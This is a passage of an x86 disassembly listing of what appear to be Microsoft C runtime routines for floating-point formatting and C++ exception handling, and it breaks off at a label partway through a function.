sub_421935 proc near ; CODE XREF: sub_41F69F+3E2p ; DATA XREF: sub_41C760+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43C538 mov cl, [eax] test cl, cl jz short loc_421951 loc_421945: ; CODE XREF: sub_421935+1Aj cmp cl, dl jz short loc_421951 mov cl, [eax+1] inc eax test cl, cl jnz short loc_421945 loc_421951: ; CODE XREF: sub_421935+Ej ; sub_421935+12j mov cl, [eax] inc eax test cl, cl jz short locret_421982 loc_421958: ; CODE XREF: sub_421935+34j mov cl, [eax] test cl, cl jz short loc_42196B cmp cl, 65h jz short loc_42196B cmp cl, 45h jz short loc_42196B inc eax jmp short loc_421958 ; --------------------------------------------------------------------------- loc_42196B: ; CODE XREF: sub_421935+27j ; sub_421935+2Cj ... mov ecx, eax loc_42196D: ; CODE XREF: sub_421935+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42196D cmp [eax], dl jnz short loc_421978 dec eax loc_421978: ; CODE XREF: sub_421935+40j ; sub_421935+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_421978 locret_421982: ; CODE XREF: sub_421935+21j retn sub_421935 endp ; =============== S U B R O U T I N E ======================================= sub_421983 proc near ; DATA XREF: sub_41C760+28o ; ___:off_43C8E0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427880 fnstsw ax sahf jb short loc_421998 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_421998: ; CODE XREF: sub_421983+Fj xor eax, eax retn sub_421983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42199B proc near ; CODE XREF: sub_420510+430p ; DATA XREF: sub_41C760+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4219C4 lea eax, [ebp+var_8] push eax call sub_424518 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4219C4: ; CODE XREF: sub_42199B+Cj lea eax, [ebp+arg_8] push eax call sub_424545 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42199B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4219D9 proc near ; CODE XREF: sub_421C56+17p ; sub_421CA0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DB340, 0 push ebx push esi jz short loc_421A0E mov ebx, [ebp+arg_8] mov eax, dword_4DB33C xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_421CF1 pop ecx pop ecx jmp short loc_421A46 ; --------------------------------------------------------------------------- loc_421A0E: ; CODE XREF: sub_4219D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_4245E9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424572 add esp, 14h loc_421A46: ; CODE XREF: sub_4219D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_421A52 mov byte ptr [eax], 2Dh inc eax loc_421A52: ; CODE XREF: sub_4219D9+73j test ebx, ebx jle short loc_421A6A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43C538 mov eax, edi pop edi mov [eax], cl loc_421A6A: ; CODE XREF: sub_4219D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DB340, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41BEB0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_421A91 mov byte ptr [ecx], 45h loc_421A91: ; CODE XREF: sub_4219D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_421AD6 mov ebx, [esi+4] dec ebx jns short loc_421AA5 neg ebx mov byte ptr [ecx], 2Dh loc_421AA5: ; CODE XREF: sub_4219D9+C5j inc ecx cmp ebx, 64h jl short loc_421ABC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421ABC: ; CODE XREF: sub_4219D9+D0j inc ecx cmp ebx, 0Ah jl short loc_421AD3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_421AD3: ; CODE XREF: sub_4219D9+E7j add [ecx+1], bl loc_421AD6: ; CODE XREF: sub_4219D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4219D9 endp ; =============== S U B R O U T I N E ======================================= sub_421ADD proc near ; CODE XREF: sub_421C7D+13p ; sub_421CA0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DB340, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_421B18 mov eax, dword_4DB344 mov ebx, [esp+10h+arg_8] mov esi, dword_4DB33C cmp eax, ebx jnz short loc_421B48 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_421B48 ; --------------------------------------------------------------------------- loc_421B18: ; CODE XREF: sub_421ADD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_4245E9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424572 add esp, 14h loc_421B48: ; CODE XREF: sub_421ADD+22j ; sub_421ADD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_421B56 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_421B56: ; CODE XREF: sub_421ADD+70j mov eax, [esi+4] test eax, eax jg short loc_421B6D push 1 push edi call sub_421CF1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_421B6F ; --------------------------------------------------------------------------- loc_421B6D: ; CODE XREF: sub_421ADD+7Ej add edi, eax loc_421B6F: ; CODE XREF: sub_421ADD+8Ej test ebx, ebx jle short loc_421BB4 push 1 push edi call sub_421CF1 mov al, byte_43C538 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_421BB4 cmp byte_4DB340, 0 jz short loc_421B99 neg esi jmp short loc_421B9F ; --------------------------------------------------------------------------- loc_421B99: ; CODE XREF: sub_421ADD+B6j neg esi cmp ebx, esi jl short loc_421BA1 loc_421B9F: ; CODE XREF: sub_421ADD+BAj mov ebx, esi loc_421BA1: ; CODE XREF: sub_421ADD+C0j push ebx push edi call sub_421CF1 push ebx push 30h push edi call sub_41B590 add esp, 14h loc_421BB4: ; CODE XREF: sub_421ADD+94j ; sub_421ADD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_421ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BBB proc near ; CODE XREF: sub_421CA0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_4245E9 mov dword_4DB33C, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DB344, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424572 mov eax, dword_4DB33C add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DB344, ecx setl cl mov byte_4DB348, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DB344, eax jl short loc_421C41 cmp eax, ebx jge short loc_421C41 test cl, cl jz short loc_421C32 loc_421C28: ; CODE XREF: sub_421BBB+72j mov al, [esi] inc esi test al, al jnz short loc_421C28 and [esi-2], al loc_421C32: ; CODE XREF: sub_421BBB+6Bj push ebx push [ebp+arg_4] push edi call sub_421C7D add esp, 0Ch jmp short loc_421C51 ; --------------------------------------------------------------------------- loc_421C41: ; CODE XREF: sub_421BBB+63j ; sub_421BBB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_421C56 add esp, 10h loc_421C51: ; CODE XREF: sub_421BBB+84j pop edi pop esi pop ebx pop ebp retn sub_421BBB endp ; =============== S U B R O U T I N E ======================================= sub_421C56 proc near ; CODE XREF: sub_421BBB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DB340, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4219D9 and byte_4DB340, 0 add esp, 10h retn sub_421C56 endp ; =============== S U B R O U T I N E ======================================= sub_421C7D proc near ; CODE XREF: sub_421BBB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DB340, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_421ADD and byte_4DB340, 0 add esp, 0Ch retn sub_421C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421CA0 proc near ; CODE XREF: sub_41F69F+3AAp ; DATA XREF: sub_41C760o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_421CDB cmp [ebp+arg_8], 45h jz short loc_421CDB cmp [ebp+arg_8], 66h jnz short loc_421CC8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421ADD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_421CC8: ; CODE XREF: sub_421CA0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_421BBB jmp short loc_421CEC ; --------------------------------------------------------------------------- loc_421CDB: ; CODE XREF: sub_421CA0+7j ; sub_421CA0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4219D9 loc_421CEC: ; CODE XREF: sub_421CA0+39j add esp, 10h pop ebp retn sub_421CA0 endp ; =============== S U B R O U T I N E ======================================= sub_421CF1 proc near ; CODE XREF: sub_4219D9+2Cp ; sub_421ADD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_421D14 push esi mov esi, [esp+8+arg_0] push esi call sub_41AFE0 inc eax push eax push esi add esi, edi push esi call sub_41CC90 add esp, 10h pop esi loc_421D14: ; CODE XREF: sub_421CF1+7j pop edi retn sub_421CF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421D16 proc near ; CODE XREF: ___:0041C940p ; sub_41C9A9+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_421D2C call sub_4225B2 loc_421D2C: ; CODE XREF: sub_421D16+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_421D54 cmp dword ptr [esi+4], 0 jz short loc_421DAA cmp [ebp+arg_14], 0 jnz short loc_421DAA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42205D add esp, 10h jmp short loc_421DAA ; --------------------------------------------------------------------------- loc_421D54: ; CODE XREF: sub_421D16+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_421DAA cmp dword ptr [eax], 0E06D7363h jnz short loc_421D8E cmp [eax+14h], edi jbe short loc_421D8E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_421D8E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_421DAD ; --------------------------------------------------------------------------- loc_421D8E: ; CODE XREF: sub_421D16+4Aj ; sub_421D16+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_421DB1 add esp, 20h loc_421DAA: ; CODE XREF: sub_421D16+23j ; sub_421D16+29j ... push 1 pop eax loc_421DAD: ; CODE XREF: sub_421D16+76j pop edi pop esi pop ebp retn sub_421D16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421DB1 proc near ; CODE XREF: sub_421D16+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_421DD1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_421DD6 loc_421DD1: ; CODE XREF: sub_421DB1+16j call sub_4225B2 loc_421DD6: ; CODE XREF: sub_421DB1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A mov esi, dword_4DB34C test esi, esi jz loc_421F28 mov eax, dword_4DB350 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424770 pop ecx test eax, eax pop ecx jnz short loc_421E2C call sub_4225B2 loc_421E2C: ; CODE XREF: sub_421DB1+74j cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz short loc_421E4A cmp [esi+14h], edi jnz short loc_421E4A cmp dword ptr [esi+1Ch], 0 jnz short loc_421E4A call sub_4225B2 loc_421E4A: ; CODE XREF: sub_421DB1+41j ; sub_421DB1+46j ... cmp [esi], ebx jnz loc_421F2D cmp dword ptr [esi+10h], 3 jnz loc_421F2D cmp [esi+14h], edi jnz loc_421F2D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov ebx, eax loc_421E81: ; CODE XREF: sub_421DB1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_421F18 cmp [ebx], edi jg short loc_421F0D cmp edi, [ebx+4] jg short loc_421F0D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_421F0A loc_421EA6: ; CODE XREF: sub_421DB1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_421ED7 loc_421EB8: ; CODE XREF: sub_421DB1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422000 add esp, 0Ch test eax, eax jnz short loc_421EE6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_421EB8 loc_421ED7: ; CODE XREF: sub_421DB1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_421EA6 jmp short loc_421F0A ; --------------------------------------------------------------------------- loc_421EE6: ; CODE XREF: sub_421DB1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421F0A: ; CODE XREF: sub_421DB1+F3j ; sub_421DB1+133j mov edi, [ebp+var_10] loc_421F0D: ; CODE XREF: sub_421DB1+DEj ; sub_421DB1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_421E81 ; --------------------------------------------------------------------------- loc_421F18: ; CODE XREF: sub_421DB1+D6j cmp [ebp+arg_14], 0 jz short loc_421F28 push 1 push esi call sub_422486 pop ecx pop ecx loc_421F28: ; CODE XREF: sub_421DB1+56j ; sub_421DB1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_421F2D: ; CODE XREF: sub_421DB1+37j ; sub_421DB1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_421F53 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_421F58 add esp, 20h jmp short loc_421F28 ; --------------------------------------------------------------------------- loc_421F53: ; CODE XREF: sub_421DB1+180j jmp sub_42255C sub_421DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F58 proc near ; CODE XREF: sub_421DB1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DB354, 0 push esi push edi jz short loc_421F89 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41C9CE add esp, 1Ch test eax, eax jnz short loc_421FFC loc_421F89: ; CODE XREF: sub_421F58+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41CAF7 add esp, 14h mov esi, eax loc_421FA5: ; CODE XREF: sub_421F58+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_421FFC cmp edi, [esi] jl short loc_421FF4 cmp edi, [esi+4] jg short loc_421FF4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_421FCE cmp byte ptr [ecx+8], 0 jnz short loc_421FF4 loc_421FCE: ; CODE XREF: sub_421F58+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422111 ; --------------------------------------------------------------------------- add esp, 2Ch loc_421FF4: ; CODE XREF: sub_421F58+57j ; sub_421F58+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_421FA5 ; --------------------------------------------------------------------------- loc_421FFC: ; CODE XREF: sub_421F58+2Fj ; sub_421F58+53j pop edi pop esi leave retn sub_421F58 endp ; =============== S U B R O U T I N E ======================================= sub_422000 proc near ; CODE XREF: sub_421DB1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422057 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422057 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422031 add ecx, 8 push ecx push edx call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_422053 loc_422031: ; CODE XREF: sub_422000+1Fj test byte ptr [esi], 2 jz short loc_42203B test byte ptr [edi], 8 jz short loc_422053 loc_42203B: ; CODE XREF: sub_422000+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42204A test byte ptr [edi], 1 jz short loc_422053 loc_42204A: ; CODE XREF: sub_422000+43j test al, 2 jz short loc_422057 test byte ptr [edi], 2 jnz short loc_422057 loc_422053: ; CODE XREF: sub_422000+2Fj ; sub_422000+39j ... xor eax, eax jmp short loc_42205A ; --------------------------------------------------------------------------- loc_422057: ; CODE XREF: sub_422000+Bj ; sub_422000+14j ... push 1 pop eax loc_42205A: ; CODE XREF: sub_422000+55j pop edi pop esi retn sub_422000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42205D proc near ; CODE XREF: sub_421D16+34p ; ___:00422153p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278C8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_42208F: ; CODE XREF: sub_42205D+8Aj cmp esi, [ebp+arg_C] jz short loc_4220E9 cmp esi, 0FFFFFFFFh jle short loc_42209E cmp esi, [edi+4] jl short loc_4220A3 loc_42209E: ; CODE XREF: sub_42205D+3Aj call sub_4225B2 loc_4220A3: ; CODE XREF: sub_42205D+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_4220BE push 103h push ebx push eax call sub_422510 loc_4220BE: ; CODE XREF: sub_42205D+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_4220DE ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_4220FB pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_4220DE: ; CODE XREF: sub_42205D+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_42208F ; --------------------------------------------------------------------------- loc_4220E9: ; CODE XREF: sub_42205D+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42205D endp ; =============== S U B R O U T I N E ======================================= sub_4220FB proc near ; CODE XREF: sub_42205D+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_42210C xor eax, eax retn ; --------------------------------------------------------------------------- loc_42210C: ; CODE XREF: sub_4220FB+Cj jmp sub_42255C sub_4220FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_422111 proc near ; CODE XREF: sub_421DB1+151p ; sub_421F58+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_422133 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_4222C2 add esp, 10h loc_422133: ; CODE XREF: sub_422111+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_42213F push edi jmp short loc_422142 ; --------------------------------------------------------------------------- loc_42213F: ; CODE XREF: sub_422111+29j push [ebp+arg_24] loc_422142: ; CODE XREF: sub_422111+2Cj call sub_41C8D0 sub_422111 endp ; --------------------------------------------------------------------------- mov esi, [ebp+24h] push dword ptr [esi] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push edi call sub_42205D mov eax, [esi+4] push 100h push dword ptr [ebp+28h] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push dword ptr [ebp+18h] push dword ptr [ebp+10h] push edi push dword ptr [ebp+8] call sub_42218C add esp, 2Ch test eax, eax jz short loc_422187 push edi push eax call sub_41C88E loc_422187: ; CODE XREF: ___:0042217Ej pop edi pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42218C proc near ; CODE XREF: ___:00422174p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278D8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_4DB34C mov [ebp+var_1C], ecx mov ecx, dword_4DB350 mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_4DB34C, edi mov ecx, [ebp+arg_8] mov dword_4DB350, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_41C955 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_422252 mov eax, [ebp+var_2C] loc_422219: ; CODE XREF: sub_422232+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_42218C endp ; =============== S U B R O U T I N E ======================================= sub_422228 proc near ; DATA XREF: ___:004278E8o push dword ptr [ebp-14h] call sub_422298 pop ecx retn sub_422228 endp ; =============== S U B R O U T I N E ======================================= sub_422232 proc near ; DATA XREF: ___:004278ECo mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_41CBB6 pop ecx pop ecx xor eax, eax jmp short loc_422219 sub_422232 endp ; --------------------------------------------------------------------------- loc_42224A: ; DATA XREF: ___:004278E0o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_422252 proc near ; CODE XREF: sub_42218C+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_4DB34C, eax mov eax, [ebp-20h] mov dword_4DB350, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_422297 cmp dword ptr [edi+10h], 3 jnz short locret_422297 cmp dword ptr [edi+14h], 19930520h jnz short locret_422297 cmp [ebp-24h], ebx jnz short locret_422297 cmp [ebp-2Ch], ebx jz short locret_422297 call sub_41CC1E push eax push edi call sub_422486 pop ecx pop ecx locret_422297: ; CODE XREF: sub_422252+1Cj ; sub_422252+22j ... retn sub_422252 endp ; =============== S U B R O U T I N E ======================================= sub_422298 proc near ; CODE XREF: sub_422228+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4222BF cmp dword ptr [eax+10h], 3 jnz short loc_4222BF cmp dword ptr [eax+14h], 19930520h jnz short loc_4222BF cmp dword ptr [eax+1Ch], 0 jnz short loc_4222BF push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4222BF: ; CODE XREF: sub_422298+Cj ; sub_422298+12j ... xor eax, eax retn sub_422298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4222C2 proc near ; CODE XREF: sub_422111+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4278F0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_42246B cmp byte ptr [eax+8], 0 jz loc_42246B mov eax, [ecx+8] test eax, eax jz loc_42246B mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_42235F mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_424770 pop ecx pop ecx test eax, eax jz loc_422462 push 1 push edi call sub_42478C pop ecx pop ecx test eax, eax jz loc_422462 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_422350: ; CODE XREF: sub_4222C2+F5j push eax call sub_4224ED pop ecx pop ecx mov [edi], eax jmp loc_422467 ; --------------------------------------------------------------------------- loc_42235F: 